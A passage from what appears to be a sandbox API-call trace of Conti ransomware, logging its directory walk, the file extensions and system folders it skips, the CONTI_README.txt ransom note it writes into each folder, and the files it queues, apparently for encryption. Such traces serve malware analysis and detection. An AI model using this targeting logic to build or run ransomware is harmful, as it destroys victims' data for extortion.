	[0093.983] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.983] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.983] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1
	[0093.983] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2=".") returned 1
	[0093.983] lstrcmpiW (lpString1="Parameterinfo.xml", lpString2="..") returned 1
	[0093.983] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".CONTI") returned 0x0
	[0093.983] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.983] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".exe") returned 0x0
	[0093.983] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".dll") returned 0x0
	[0093.984] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".lnk") returned 0x0
	[0093.984] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".sys") returned 0x0
	[0093.984] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch=".CONTI") returned 0x0
	[0093.984] StrStrIW (lpFirst="Parameterinfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended") returned 30
	[0093.984] lstrlenW (lpString="Parameterinfo.xml") returned 17
	[0093.984] GetProcessHeap () returned 0x1720000
	[0093.984] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x62) returned 0x17411b0
	[0093.984] lstrcpyW (in: lpString1=0x17411b0, lpString2="C:\\588bce7c90097ed212\\Extended" | out: lpString1="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0093.984] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\"
	[0093.984] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\", lpString2="Parameterinfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml"
	[0093.984] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d31d8) returned 1
	[0093.984] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1
	[0093.984] lstrcmpiW (lpString1="UiInfo.xml", lpString2=".") returned 1
	[0093.984] lstrcmpiW (lpString1="UiInfo.xml", lpString2="..") returned 1
	[0093.984] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".CONTI") returned 0x0
	[0093.984] StrStrIW (lpFirst="UiInfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.984] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".exe") returned 0x0
	[0093.984] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".dll") returned 0x0
	[0093.984] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".lnk") returned 0x0
	[0093.984] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".sys") returned 0x0
	[0093.984] StrStrIW (lpFirst="UiInfo.xml", lpSrch=".CONTI") returned 0x0
	[0093.984] StrStrIW (lpFirst="UiInfo.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended") returned 30
	[0093.984] lstrlenW (lpString="UiInfo.xml") returned 10
	[0093.984] GetProcessHeap () returned 0x1720000
	[0093.984] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x54) returned 0x17bc470
	[0093.984] lstrcpyW (in: lpString1=0x17bc470, lpString2="C:\\588bce7c90097ed212\\Extended" | out: lpString1="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended"
	[0093.984] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\"
	[0093.984] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Extended\\", lpString2="UiInfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml"
	[0093.984] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5f78) returned 1
	[0093.985] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0
	[0093.985] GetProcessHeap () returned 0x1720000
	[0093.985] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d0a8 | out: hHeap=0x1720000) returned 1
	[0093.985] FindClose (in: hFindFile=0x175e4f0 | out: hFindFile=0x175e4f0) returned 1
	[0093.988] GetProcessHeap () returned 0x1720000
	[0093.988] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734a68 | out: hHeap=0x1720000) returned 1
	[0093.988] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="Graphics", cAlternateFileName="")) returned 1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2=".") returned 1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="..") returned 1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="tmp") returned -1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="winnt") returned -1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="Application Data") returned 1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="AppData") returned 1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="temp") returned -1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="thumb") returned -1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="$Recycle.Bin") returned 1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="$RECYCLE.BIN") returned 1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="System Volume Information") returned -1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="Program Files") returned -1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="Program Files (x86)") returned -1
	[0093.988] lstrcmpiW (lpString1="Graphics", lpString2="Boot") returned 1
	[0093.989] lstrcmpiW (lpString1="Graphics", lpString2="Windows") returned -1
	[0093.989] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.989] lstrlenW (lpString="Graphics") returned 8
	[0093.989] GetProcessHeap () returned 0x1720000
	[0093.989] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3e) returned 0x1734900
	[0093.989] lstrcpyW (in: lpString1=0x1734900, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.989] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.989] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.989] GetProcessHeap () returned 0x1720000
	[0093.989] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x42) returned 0x173d238
	[0093.989] lstrcpyW (in: lpString1=0x173d238, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.989] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\*") returned="C:\\588bce7c90097ed212\\Graphics\\*"
	[0093.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.989] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.989] GetProcessHeap () returned 0x1720000
	[0093.989] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c0988
	[0093.989] lstrcpyW (in: lpString1=0x17c0988, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.989] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.989] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\Graphics\\CONTI_README.txt"
	[0093.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\graphics\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.993] GetProcessHeap () returned 0x1720000
	[0093.994] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0988 | out: hHeap=0x1720000) returned 1
	[0093.994] WriteFile (in: hFile=0x338, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.994] CloseHandle (hObject=0x338) returned 1
	[0093.995] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bdde21d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x175e4f0
	[0093.995] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.995] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4bdde21d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0093.995] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.995] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.995] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bdde21d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4bdde21d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4bdde21d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.995] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.995] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.995] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.995] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.995] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Print.ico", cAlternateFileName="")) returned 1
	[0093.995] lstrcmpiW (lpString1="Print.ico", lpString2=".") returned 1
	[0093.995] lstrcmpiW (lpString1="Print.ico", lpString2="..") returned 1
	[0093.995] StrStrIW (lpFirst="Print.ico", lpSrch=".CONTI") returned 0x0
	[0093.995] StrStrIW (lpFirst="Print.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.995] StrStrIW (lpFirst="Print.ico", lpSrch=".exe") returned 0x0
	[0093.995] StrStrIW (lpFirst="Print.ico", lpSrch=".dll") returned 0x0
	[0093.995] StrStrIW (lpFirst="Print.ico", lpSrch=".lnk") returned 0x0
	[0093.995] StrStrIW (lpFirst="Print.ico", lpSrch=".sys") returned 0x0
	[0093.995] StrStrIW (lpFirst="Print.ico", lpSrch=".CONTI") returned 0x0
	[0093.995] StrStrIW (lpFirst="Print.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.995] lstrlenW (lpString="Print.ico") returned 9
	[0093.995] GetProcessHeap () returned 0x1720000
	[0093.995] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x1726e10
	[0093.995] lstrcpyW (in: lpString1=0x1726e10, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.995] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.995] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Print.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Print.ico"
	[0093.996] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3420) returned 1
	[0093.996] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1
	[0093.996] lstrcmpiW (lpString1="Rotate1.ico", lpString2=".") returned 1
	[0093.996] lstrcmpiW (lpString1="Rotate1.ico", lpString2="..") returned 1
	[0093.996] StrStrIW (lpFirst="Rotate1.ico", lpSrch=".CONTI") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate1.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate1.ico", lpSrch=".exe") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate1.ico", lpSrch=".dll") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate1.ico", lpSrch=".lnk") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate1.ico", lpSrch=".sys") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate1.ico", lpSrch=".CONTI") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate1.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.996] lstrlenW (lpString="Rotate1.ico") returned 11
	[0093.996] GetProcessHeap () returned 0x1720000
	[0093.996] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x1733bb8
	[0093.996] lstrcpyW (in: lpString1=0x1733bb8, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.996] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.996] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate1.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico"
	[0093.996] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4660) returned 1
	[0093.996] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1
	[0093.996] lstrcmpiW (lpString1="Rotate2.ico", lpString2=".") returned 1
	[0093.996] lstrcmpiW (lpString1="Rotate2.ico", lpString2="..") returned 1
	[0093.996] StrStrIW (lpFirst="Rotate2.ico", lpSrch=".CONTI") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate2.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate2.ico", lpSrch=".exe") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate2.ico", lpSrch=".dll") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate2.ico", lpSrch=".lnk") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate2.ico", lpSrch=".sys") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate2.ico", lpSrch=".CONTI") returned 0x0
	[0093.996] StrStrIW (lpFirst="Rotate2.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.997] lstrlenW (lpString="Rotate2.ico") returned 11
	[0093.997] GetProcessHeap () returned 0x1720000
	[0093.997] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c6e60
	[0093.997] lstrcpyW (in: lpString1=0x17c6e60, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.997] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.997] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate2.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico"
	[0093.997] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3668) returned 1
	[0093.997] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1
	[0093.997] lstrcmpiW (lpString1="Rotate3.ico", lpString2=".") returned 1
	[0093.997] lstrcmpiW (lpString1="Rotate3.ico", lpString2="..") returned 1
	[0093.997] StrStrIW (lpFirst="Rotate3.ico", lpSrch=".CONTI") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate3.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate3.ico", lpSrch=".exe") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate3.ico", lpSrch=".dll") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate3.ico", lpSrch=".lnk") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate3.ico", lpSrch=".sys") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate3.ico", lpSrch=".CONTI") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate3.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.997] lstrlenW (lpString="Rotate3.ico") returned 11
	[0093.997] GetProcessHeap () returned 0x1720000
	[0093.997] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c6ec0
	[0093.997] lstrcpyW (in: lpString1=0x17c6ec0, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.997] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.997] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate3.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico"
	[0093.997] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d38b0) returned 1
	[0093.997] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1
	[0093.997] lstrcmpiW (lpString1="Rotate4.ico", lpString2=".") returned 1
	[0093.997] lstrcmpiW (lpString1="Rotate4.ico", lpString2="..") returned 1
	[0093.997] StrStrIW (lpFirst="Rotate4.ico", lpSrch=".CONTI") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate4.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate4.ico", lpSrch=".exe") returned 0x0
	[0093.997] StrStrIW (lpFirst="Rotate4.ico", lpSrch=".dll") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate4.ico", lpSrch=".lnk") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate4.ico", lpSrch=".sys") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate4.ico", lpSrch=".CONTI") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate4.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics") returned 30
	[0093.998] lstrlenW (lpString="Rotate4.ico") returned 11
	[0093.998] GetProcessHeap () returned 0x1720000
	[0093.998] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x56) returned 0x17c6f20
	[0093.998] lstrcpyW (in: lpString1=0x17c6f20, lpString2="C:\\588bce7c90097ed212\\Graphics" | out: lpString1="C:\\588bce7c90097ed212\\Graphics") returned="C:\\588bce7c90097ed212\\Graphics"
	[0093.998] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\"
	[0093.998] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate4.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico"
	[0093.998] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d3af8) returned 1
	[0093.998] FindNextFileW (in: hFindFile=0x175e4f0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1
	[0093.998] lstrcmpiW (lpString1="Rotate5.ico", lpString2=".") returned 1
	[0093.998] lstrcmpiW (lpString1="Rotate5.ico", lpString2="..") returned 1
	[0093.998] StrStrIW (lpFirst="Rotate5.ico", lpSrch=".CONTI") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate5.ico", lpSrch="CONTI_README.txt") returned 0x0
	[0093.998] StrStrIW (lpFirst="Rotate5.ico", lpSrch=".exe") returned 0x0
